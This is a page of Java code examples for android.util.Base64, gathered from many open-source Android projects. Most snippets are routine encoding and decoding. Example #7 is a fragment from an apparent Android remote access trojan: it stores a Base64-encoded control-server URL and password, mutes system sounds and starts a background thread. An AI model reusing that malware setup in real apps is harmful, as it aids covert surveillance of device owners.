android.util.Base64 Java Examples
The following examples show how to use
android.util.Base64.
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Example #1
Source Project: dhis2-android-capture-app Author: dhis2 File: QRCodeGenerator.java License: BSD 3-Clause "New" or "Revised" License | 9 votes |
public static Bitmap transform(byte[] inputData) { String encoded; encoded = Base64.encodeToString(inputData, Base64.DEFAULT); MultiFormatWriter multiFormatWriter = new MultiFormatWriter(); Bitmap bitmap = null; try { BitMatrix bitMatrix = multiFormatWriter.encode(encoded, BarcodeFormat.QR_CODE, 1000, 1000); BarcodeEncoder barcodeEncoder = new BarcodeEncoder(); bitmap = barcodeEncoder.createBitmap(bitMatrix); } catch (WriterException e) { Timber.e(e); } return bitmap; }
Example #2
Source Project: imsdk-android Author: qunarcorp File: AdActivity.java License: MIT License | 6 votes |
protected void injectExtra(Intent intent) { if(intent!=null) { Bundle extra = intent.getExtras(); if(extra.containsKey(KEY_AD_JSON)) { String base64Str = extra.getString(KEY_AD_JSON); if(!TextUtils.isEmpty(base64Str)) { String json = new String(Base64.decode(base64Str,Base64.URL_SAFE|Base64.NO_WRAP)); try { bean = JsonUtils.getGson().fromJson(json, AdvertiserBean.class); } catch (Exception ex) { LogUtil.e(TAG,"ERROR",ex); finish(); } } } } }
Example #3
Source Project: beacons-android Author: adriancretu File: Storage.java License: Apache License 2.0 | 6 votes |
private void migrateIBeaconItems(SQLiteDatabase db) { SQLiteStatement updateStatement = createUpdater(db, "d0", "d1", "d2"); Cursor cursor = db.rawQuery("SELECT rowid, uuid, maj, min FROM " + IBEACONS_TABLE, null); while (cursor.moveToNext()) { updateStatement.bindLong(1, cursor.getLong(0)); updateStatement.bindBlob(2, Base64.decode(cursor.getString(1), Base64.DEFAULT)); updateStatement.bindLong(3, cursor.getInt(2)); updateStatement.bindLong(4, cursor.getInt(3)); executeSafeUpdateOrDelete(updateStatement); } cursor.close(); updateStatement.close(); db.execSQL("DROP TABLE " + IBEACONS_TABLE); }
Example #4
Source Project: react-native-sodium Author: lyubo File: RCTSodiumModule.java License: ISC License | 6 votes |
@ReactMethod public void crypto_box_beforenm(final String pk, final String sk, final Promise p) { try { byte[] pkb = Base64.decode(pk, Base64.NO_WRAP); byte[] skb = Base64.decode(sk, Base64.NO_WRAP); if (pkb.length != Sodium.crypto_box_publickeybytes()) p.reject(ESODIUM,ERR_BAD_KEY); else if (skb.length != Sodium.crypto_box_secretkeybytes()) p.reject(ESODIUM,ERR_BAD_KEY); else { byte[] s = new byte[Sodium.crypto_box_secretkeybytes()]; int result = Sodium.crypto_box_beforenm(s, pkb, skb); if (result != 0) p.reject(ESODIUM,ERR_FAILURE); else p.resolve(Base64.encodeToString(s,Base64.NO_WRAP)); } } catch (Throwable t) { p.reject(ESODIUM,ERR_FAILURE,t); } }
Example #5
Source Project: Telegram Author: DrKLO File: SsManifestParser.java License: GNU General Public License v2.0 | 6 votes |
private static byte[] getProtectionElementKeyId(byte[] initData) { StringBuilder initDataStringBuilder = new StringBuilder(); for (int i = 0; i < initData.length; i += 2) { initDataStringBuilder.append((char) initData[i]); } String initDataString = initDataStringBuilder.toString(); String keyIdString = initDataString.substring( initDataString.indexOf("<KID>") + 5, initDataString.indexOf("</KID>")); byte[] keyId = Base64.decode(keyIdString, Base64.DEFAULT); swap(keyId, 0, 3); swap(keyId, 1, 2); swap(keyId, 4, 5); swap(keyId, 6, 7); return keyId; }
Example #6
Source Project: Pix-Art-Messenger Author: kriztan File: DatabaseBackend.java License: GNU General Public License v3.0 | 6 votes |
public Set<IdentityKey> loadIdentityKeys(Account account, String name, FingerprintStatus status) { Set<IdentityKey> identityKeys = new HashSet<>(); Cursor cursor = getIdentityKeyCursor(account, name, false); while (cursor.moveToNext()) { if (status != null && !FingerprintStatus.fromCursor(cursor).equals(status)) { continue; } try { String key = cursor.getString(cursor.getColumnIndex(SQLiteAxolotlStore.KEY)); if (key != null) { identityKeys.add(new IdentityKey(Base64.decode(key, Base64.DEFAULT), 0)); } else { Log.d(Config.LOGTAG, AxolotlService.getLogprefix(account) + "Missing key (possibly preverified) in database for account" + account.getJid().asBareJid() + ", address: " + name); } } catch (InvalidKeyException e) { Log.d(Config.LOGTAG, AxolotlService.getLogprefix(account) + "Encountered invalid IdentityKey in database for account" + account.getJid().asBareJid() + ", address: " + name); } } cursor.close(); return identityKeys; }
Example #7
Source Project: BetterAndroRAT Author: mwsrc File: MyService.java License: GNU General Public License v3.0 | 6 votes |
public void initiate() { try { PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Media",false); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Files",false).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("URL", encodedURL).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("backupURL", backupURL).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("password", encodedPassword).commit(); PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putString("androidId", androidId).commit(); URL = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("URL", ""), Base64.DEFAULT )); password = new String( Base64.decode( PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("password", ""), Base64.DEFAULT )); AudioManager mgr = (AudioManager)getSystemService(Context.AUDIO_SERVICE); mgr.setStreamMute(AudioManager.STREAM_SYSTEM, true); } catch (Exception e) {e.printStackTrace();} thread.start(); }
Example #8
Source Project: Cake-VPN Author: ashraf789 File: VpnProfile.java License: GNU General Public License v2.0 | 6 votes |
public String getSignedData(String b64data) { PrivateKey privkey = getKeystoreKey(); byte[] data = Base64.decode(b64data, Base64.DEFAULT); // The Jelly Bean *evil* Hack // 4.2 implements the RSA/ECB/PKCS1PADDING in the OpenSSLprovider if (Build.VERSION.SDK_INT == Build.VERSION_CODES.JELLY_BEAN) { return processSignJellyBeans(privkey, data); } try { /* ECB is perfectly fine in this special case, since we are using it for the public/private part in the TLS exchange */ @SuppressLint("GetInstance") Cipher rsaSigner = Cipher.getInstance("RSA/ECB/PKCS1PADDING"); rsaSigner.init(Cipher.ENCRYPT_MODE, privkey); byte[] signed_bytes = rsaSigner.doFinal(data); return Base64.encodeToString(signed_bytes, Base64.NO_WRAP); } catch (NoSuchAlgorithmException | InvalidKeyException | IllegalBlockSizeException | BadPaddingException | NoSuchPaddingException e) { VpnStatus.logError(R.string.error_rsa_sign, e.getClass().toString(), e.getLocalizedMessage()); return null; } }
Example #9
Source Project: MediaSDK Author: JeffMony File: SsManifestParser.java License: Apache License 2.0 | 6 votes |
private static byte[] getProtectionElementKeyId(byte[] initData) { StringBuilder initDataStringBuilder = new StringBuilder(); for (int i = 0; i < initData.length; i += 2) { initDataStringBuilder.append((char) initData[i]); } String initDataString = initDataStringBuilder.toString(); String keyIdString = initDataString.substring( initDataString.indexOf("<KID>") + 5, initDataString.indexOf("</KID>")); byte[] keyId = Base64.decode(keyIdString, Base64.DEFAULT); swap(keyId, 0, 3); swap(keyId, 1, 2); swap(keyId, 4, 5); swap(keyId, 6, 7); return keyId; }
Example #10
Source Project: hr Author: Odoo-mobile File: OFileManager.java License: GNU Affero General Public License v3.0 | 6 votes |
@Override protected ODataRow doInBackground(ODataRow... params) { if (mApp.inNetwork()) { try { Thread.sleep(500); ODataRow attachment = params[0]; String base64 = irAttachment.getDatasFromServer(attachment.getInt(OColumn.ROW_ID)); if (!base64.equals("false")) { String file = createFile(attachment.getString("name"), Base64.decode(base64, 0) , attachment.getString("file_type")); Uri uri = Uri.fromFile(new File(file)); OValues values = new OValues(); values.put("file_uri", uri.toString()); irAttachment.update(attachment.getInt(OColumn.ROW_ID), values); return irAttachment.browse(attachment.getInt(OColumn.ROW_ID)); } } catch (Exception e) { e.printStackTrace(); } } return null; }
Example #11
Source Project: reader Author: xyqfer File: CordovaResourceApi.java License: MIT License | 6 votes |
private OpenForReadResult readDataUri(Uri uri) { String uriAsString = uri.getSchemeSpecificPart(); int commaPos = uriAsString.indexOf(','); if (commaPos == -1) { return null; } String[] mimeParts = uriAsString.substring(0, commaPos).split(";"); String contentType = null; boolean base64 = false; if (mimeParts.length > 0) { contentType = mimeParts[0]; } for (int i = 1; i < mimeParts.length; ++i) { if ("base64".equalsIgnoreCase(mimeParts[i])) { base64 = true; } } String dataPartAsString = uriAsString.substring(commaPos + 1); byte[] data = base64 ? Base64.decode(dataPartAsString, Base64.DEFAULT) : EncodingUtils.getBytes(dataPartAsString, "UTF-8"); InputStream inputStream = new ByteArrayInputStream(data); return new OpenForReadResult(uri, inputStream, contentType, data.length, null); }
Example #12
Source Project: GotoBrowser Author: antest1 File: KcUtils.java License: GNU General Public License v3.0 | 6 votes |
public static void processDataUriImage(ExecutorService executor, BrowserActivity activity, String data) { executor.submit(() -> { Context context = activity.getApplicationContext(); SimpleDateFormat dateFormat = new SimpleDateFormat ("yyyy-MM-dd HH-mm-ss"); String date = dateFormat.format (System.currentTimeMillis()); String filename = "gtb-".concat(date); String image = data.substring(data.indexOf(",") + 1); byte[] decodedString = Base64.decode(image, Base64.DEFAULT); Bitmap decodedImage = BitmapFactory.decodeByteArray(decodedString, 0, decodedString.length); Uri fileUri; if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { fileUri = writeImageFile(context, filename, decodedImage); } else { fileUri = writeImageFileOld(context, filename, decodedImage); } Log.e("GOTO-DURL-P", "Path: " + fileUri.toString()); Log.e("GOTO-DURL-P", "Image Size: " + decodedImage.getWidth() + "x" + decodedImage.getHeight()); activity.runOnUiThread(() -> activity.showScreenshotNotification(decodedImage, fileUri)); }); }
Example #13
Source Project: CameraV Author: guardianproject File: IIntakeData.java License: GNU General Public License v3.0 | 6 votes |
public IIntakeData(long timeCreated, String timezone, long timeOffset, String originalHash, String cameraComponentPackageName) { super(); InformaCam informaCam = InformaCam.getInstance(); JSONObject dataObj = new JSONObject(); try { dataObj.put("timezone", timezone); dataObj.put("timeCreated", timeCreated); dataObj.put("timeOffset", timeOffset); dataObj.put("cameraComponentPackageName", cameraComponentPackageName); dataObj.put("originalHash", originalHash); data = Base64.encode(dataObj.toString().getBytes(), Base64.DEFAULT); signature = new String(informaCam.signatureService.signData(data)); } catch(Exception e) { Logger.e(LOG, e); } }
Example #14
Source Project: react-native-sodium Author: lyubo File: RCTSodiumModule.java License: ISC License | 6 votes |
@ReactMethod public void crypto_scalarmult_base(final String n, final Promise p) { try { byte[] nb = Base64.decode(n, Base64.NO_WRAP); if (nb.length != Sodium.crypto_box_secretkeybytes()) p.reject(ESODIUM,ERR_BAD_KEY); else { byte[] q = new byte[Sodium.crypto_box_publickeybytes()]; int result = Sodium.crypto_scalarmult_base(q, nb); if (result != 0) p.reject(ESODIUM,ERR_BAD_KEY); else p.resolve(Base64.encodeToString(q,Base64.NO_WRAP)); } } catch (Throwable t) { p.reject(ESODIUM,ERR_FAILURE,t); } }
Example #15
Source Project: AndroidTampering Author: SandroMachado File: AndroidTamperingProtection.java License: MIT License | 6 votes |
/** * Checks if the apk signature is valid. * * @param context The context. * @param certificateSignature The certificate signature. * * @return a boolean indicating if the signature is valid. */ private static boolean isAValidSignature(Context context, String certificateSignature) { try { PackageInfo packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_SIGNATURES); // The APK is signed with multiple signatures, probably it was tampered. if (packageInfo.signatures.length > 1) { return false; } for (Signature signature : packageInfo.signatures) { MessageDigest md = MessageDigest.getInstance("SHA"); md.update(signature.toByteArray()); if (certificateSignature.compareToIgnoreCase(Base64.encodeToString(md.digest(), Base64.DEFAULT)) == 0) { return true; } } } catch (Exception exception) { Log.d("TAMPERING_PROTECTION", exception.getStackTrace().toString()); } return false; }
Example #16
Source Project: LaunchTime Author: quaap File: CrashReportActivity.java License: GNU General Public License v3.0 | 6 votes |
private String sendData() { String requestURL = getString(R.string.feedback_url); HashMap<String, String> postDataParams = new HashMap<>(); String comment = ((EditText)findViewById(R.id.err_user_comment)).getText().toString(); if (comment.length()>0) { comment = "\ncomment:" + Base64.encodeToString(comment.getBytes(),Base64.DEFAULT) + "\n"; } postDataParams.put("app",appname); postDataParams.put("data", error + comment); String response = HttpUtils.sendPostData(requestURL, postDataParams); Log.d("err-report" , response); return response; }
Example #17
Source Project: amiibo Author: codlab File: AmiiboFile.java License: GNU General Public License v2.0 | 6 votes |
public Amiibo toAmiibo() { try { Amiibo amiibo = new Amiibo(); amiibo.name = name; amiibo.uuid = uuid; if (amiibo.uuid == null) amiibo.uuid = UUID.randomUUID().toString(); amiibo.game_name = game_name; amiibo.created_at = created_at; amiibo.data = new Blob(Base64.decode(data, Base64.URL_SAFE | Base64.NO_WRAP)); amiibo.amiibo_identifier = amiibo_identifier; return amiibo; } catch (Exception exception_while_parsing) { exception_while_parsing.printStackTrace(); return null; } }
Example #18
Source Project: Auth0.Android Author: auth0 File: SecureCredentialsManagerTest.java License: MIT License | 6 votes |
@Test public void shouldSaveNonRefreshableCredentialsInStorage() { long expirationTime = CredentialsMock.CURRENT_TIME_MS + 123456 * 1000; Credentials credentials = new CredentialsMock("idToken", "accessToken", "type", null, new Date(expirationTime), "scope"); String json = gson.toJson(credentials); prepareJwtDecoderMock(new Date(expirationTime)); when(crypto.encrypt(json.getBytes())).thenReturn(json.getBytes()); manager.saveCredentials(credentials); verify(storage).store(eq("com.auth0.credentials"), stringCaptor.capture()); verify(storage).store("com.auth0.credentials_expires_at", expirationTime); verify(storage).store("com.auth0.credentials_can_refresh", false); verifyNoMoreInteractions(storage); final String encodedJson = stringCaptor.getValue(); assertThat(encodedJson, is(notNullValue())); final byte[] decoded = Base64.decode(encodedJson, Base64.DEFAULT); Credentials storedCredentials = gson.fromJson(new String(decoded), Credentials.class); assertThat(storedCredentials.getAccessToken(), is("accessToken")); assertThat(storedCredentials.getIdToken(), is("idToken")); assertThat(storedCredentials.getRefreshToken(), is(nullValue())); assertThat(storedCredentials.getType(), is("type")); assertThat(storedCredentials.getExpiresAt(), is(notNullValue())); assertThat(storedCredentials.getExpiresAt().getTime(), is(expirationTime)); assertThat(storedCredentials.getScope(), is("scope")); }
Example #19
Source Project: andOTP Author: andOTP File: Settings.java License: MIT License | 6 votes |
public byte[] setAuthCredentials(String plainPassword) { byte[] key = null; try { int iterations = EncryptionHelper.generateRandomIterations(); EncryptionHelper.PBKDF2Credentials credentials = EncryptionHelper.generatePBKDF2Credentials(plainPassword, getSalt(), iterations); String password = Base64.encodeToString(credentials.password, Base64.URL_SAFE); setIterations(iterations); setString(R.string.settings_key_auth_credentials, password); key = credentials.key; } catch (NoSuchAlgorithmException | InvalidKeySpecException e) { e.printStackTrace(); } return key; }
Example #20
Source Project: Telegram-FOSS Author: Telegram-FOSS-Team File: TgVoip.java License: GNU General Public License v2.0 | 6 votes |
private static boolean checkDexFile(File dexFile) { if (dexFile != null && dexFile.exists()) { try { final MessageDigest digest = MessageDigest.getInstance("SHA1"); final InputStream fileInputStream = new FileInputStream(dexFile); final byte[] buffer = new byte[4096]; int len; while ((len = fileInputStream.read(buffer)) > 0) { digest.update(buffer, 0, len); } final String checksum = new String(Base64.encode(digest.digest(), Base64.DEFAULT)).trim(); return TgVoipDex.getChecksum().equals(checksum); } catch (Exception e) { FileLog.e(e); return false; } } else { return false; } }
Example #21
Source Project: pebble-android-sdk Author: pebble File: PebbleDictionary.java License: MIT License | 6 votes |
private static JSONObject serializeTuple(PebbleTuple t) throws JSONException { JSONObject j = new JSONObject(); j.put(KEY, t.key); j.put(TYPE, t.type.getName()); j.put(LENGTH, t.width.value); switch (t.type) { case BYTES: j.put(VALUE, Base64.encodeToString((byte[]) t.value, Base64.NO_WRAP)); break; case STRING: case INT: case UINT: j.put(VALUE, t.value); break; } return j; }
Example #22
Source Project: SimpleOpenVpn-Android Author: nnjun File: VpnProfile.java License: Apache License 2.0 | 6 votes |
public String getSignedData(String b64data) { PrivateKey privkey = getKeystoreKey(); byte[] data = Base64.decode(b64data, Base64.DEFAULT); // The Jelly Bean *evil* Hack // 4.2 implements the RSA/ECB/PKCS1PADDING in the OpenSSLprovider if (Build.VERSION.SDK_INT == Build.VERSION_CODES.JELLY_BEAN) { return processSignJellyBeans(privkey, data); } try { /* ECB is perfectly fine in this special case, since we are using it for the public/private part in the TLS exchange */ @SuppressLint("GetInstance") Cipher rsaSigner = Cipher.getInstance("RSA/ECB/PKCS1PADDING"); rsaSigner.init(Cipher.ENCRYPT_MODE, privkey); byte[] signed_bytes = rsaSigner.doFinal(data); return Base64.encodeToString(signed_bytes, Base64.NO_WRAP); } catch (NoSuchAlgorithmException | InvalidKeyException | IllegalBlockSizeException | BadPaddingException | NoSuchPaddingException e) { VpnStatus.logError(R.string.error_rsa_sign, e.getClass().toString(), e.getLocalizedMessage()); return null; } }
Example #23
Source Project: android-chromium Author: eduplus File: AndroidChannelPreferences.java License: BSD 2-Clause "Simplified" License | 6 votes |
/** * Removes and returns the buffered Ticl message, if any. If no message was buffered, returns * {@code null}. */ static byte[] takeBufferedMessage(Context context) { SharedPreferences preferences = getPreferences(context); String message = preferences.getString(BUFFERED_MSG_PREF, null); if (message == null) { // No message was buffered. return null; } // There is a message to return. Remove the stored value from the preferences. SharedPreferences.Editor editor = preferences.edit(); editor.remove(BUFFERED_MSG_PREF); // If this fails, we might send the same message twice, which is fine. commitEditor(editor, "takeBufferedMessage"); // Return the decoded message. return Base64.decode(message, Base64.URL_SAFE); }
Example #24
Source Project: SendBird-Android Author: sendbird File: GroupChannelListAdapter.java License: MIT License | 6 votes |
public void load() { try { File appDir = new File(mContext.getCacheDir(), SendBird.getApplicationId()); appDir.mkdirs(); File dataFile = new File(appDir, TextUtils.generateMD5(SendBird.getCurrentUser().getUserId() + "channel_list") + ".data"); String content = FileUtils.loadFromFile(dataFile); String[] dataArray = content.split("\n"); // Reset channel list, then add cached data. mChannelList.clear(); for (int i = 0; i < dataArray.length; i++) { mChannelList.add((GroupChannel) BaseChannel.buildFromSerializedData(Base64.decode(dataArray[i], Base64.DEFAULT | Base64.NO_WRAP))); } notifyDataSetChanged(); } catch(Exception e) { // Nothing to load. } }
Example #25
Source Project: Popeens-DSub Author: popeen File: KakaduaUtil.java License: GNU General Public License v3.0 | 5 votes |
public static String base64Decode(String s){ byte[] dataDec = Base64.decode(s, Base64.NO_WRAP); String decodedString = ""; try{ decodedString = new String(dataDec, "UTF-8"); }catch (UnsupportedEncodingException e){ e.printStackTrace(); }finally{ return decodedString; } }
Example #26
Source Project: android_packages_apps_GmsCore Author: microg File: Attestation.java License: Apache License 2.0 | 5 votes |
private String getBytesAsString(byte[] bytes) { if (bytes == null) return "null"; try { CharsetDecoder d = Charset.forName("US-ASCII").newDecoder(); CharBuffer r = d.decode(ByteBuffer.wrap(bytes)); return r.toString(); } catch (Exception e) { return Base64.encodeToString(bytes, Base64.NO_WRAP); } }
Example #27
Source Project: DeviceConnect-Android Author: DeviceConnect File: AccessTokenServerResource.java License: MIT License | 5 votes |
protected static String getApplicationName(Form params) throws OAuthException { String base64ApplicationName = params.getFirstValue(APPLICATION_NAME); String applicationName = new String(Base64.decode(base64ApplicationName, Base64.URL_SAFE|Base64.NO_WRAP)); if (applicationName == null || applicationName.isEmpty()) { throw new OAuthException(OAuthError.invalid_request, "Mandatory parameter application_name is missing", null); } return applicationName; }
Example #28
Source Project: FreezeYou Author: FreezeYou File: BackupImportChooserActivity.java License: Apache License 2.0 | 5 votes |
private void generateUserDefinedCategoriesList(JSONObject jsonObject, ArrayList<HashMap<String, String>> list) { JSONArray array = jsonObject.optJSONArray("userDefinedCategories"); if (array == null) { return; } JSONObject oneUserDefinedCategoriesJSONObject; String myCustomizationDashLineLabel = getString(R.string.myCustomizationDashLineLabel); String defaultLabel = ""; for (int i = 0; i < array.length(); ++i) { oneUserDefinedCategoriesJSONObject = array.optJSONObject(i); if (oneUserDefinedCategoriesJSONObject == null) { continue; } HashMap<String, String> keyValuePair = new HashMap<>(); keyValuePair.put("title", String.format(myCustomizationDashLineLabel, new String( Base64.decode( oneUserDefinedCategoriesJSONObject.optString( "label", defaultLabel), Base64.DEFAULT ) ) ) ); try { oneUserDefinedCategoriesJSONObject.put("i", Integer.toString(i)); } catch (JSONException e) { e.printStackTrace(); } keyValuePair.put("spKey", Integer.toString(i)); keyValuePair.put("category", "userDefinedCategories"); list.add(keyValuePair); } }
Example #29
Source Project: samba-documents-provider Author: google File: EncryptionManager.java License: GNU General Public License v3.0 | 5 votes |
public String encrypt(String data) throws EncryptionException { try { Cipher cipher = Cipher.getInstance(AES_CIPHER); cipher.init( Cipher.ENCRYPT_MODE, mKey.getKey(), new GCMParameterSpec(GCM_TAG_LENGTH, mKey.getIv())); byte[] encrypted = cipher.doFinal(data.getBytes(Charset.forName(DEFAULT_CHARSET))); return Base64.encodeToString(encrypted, Base64.DEFAULT); } catch (Exception e) { throw new EncryptionException("Failed to encrypt data: ", e); } }
Example #30
Source Project: AndroidMathKeyboard Author: tianshaokai File: BitmapUtil.java License: Apache License 2.0 | 5 votes |
/** * 加载bitmap,根据目标宽高对图片进行缩放,减少内存占用 * @param filePath * @return */ public static Bitmap loadBitmap(String filePath,int reqWidth,int reqHeight,boolean hdMode){ BitmapFactory.Options options = new BitmapFactory.Options(); options.inJustDecodeBounds = true; // 解析图片的时候,只解析长度和宽度,不载入图片,这样就节省内存开支 if (hdMode){ options.inPreferredConfig = Bitmap.Config.ARGB_8888; }else { options.inPreferredConfig = Bitmap.Config.RGB_565; } Bitmap bitmap = null; if (filePath.matches("data:image.*base64.*")) { String base_64_source = filePath.replaceAll("data:image.*base64", ""); byte[] data = Base64.decode(base_64_source, Base64.DEFAULT); // 只加载bitmap宽高数据 BitmapFactory.decodeByteArray(data, 0, data.length,options); options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight); options.inJustDecodeBounds = false; bitmap = BitmapFactory.decodeByteArray(data, 0, data.length,options); }else { // 只加载bitmap宽高数据 BitmapFactory.decodeFile(filePath, options); options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight); options.inJustDecodeBounds = false; // 根据缩放比例加载bitmap,减少内存 bitmap = BitmapFactory.decodeFile(filePath, options); } return bitmap; }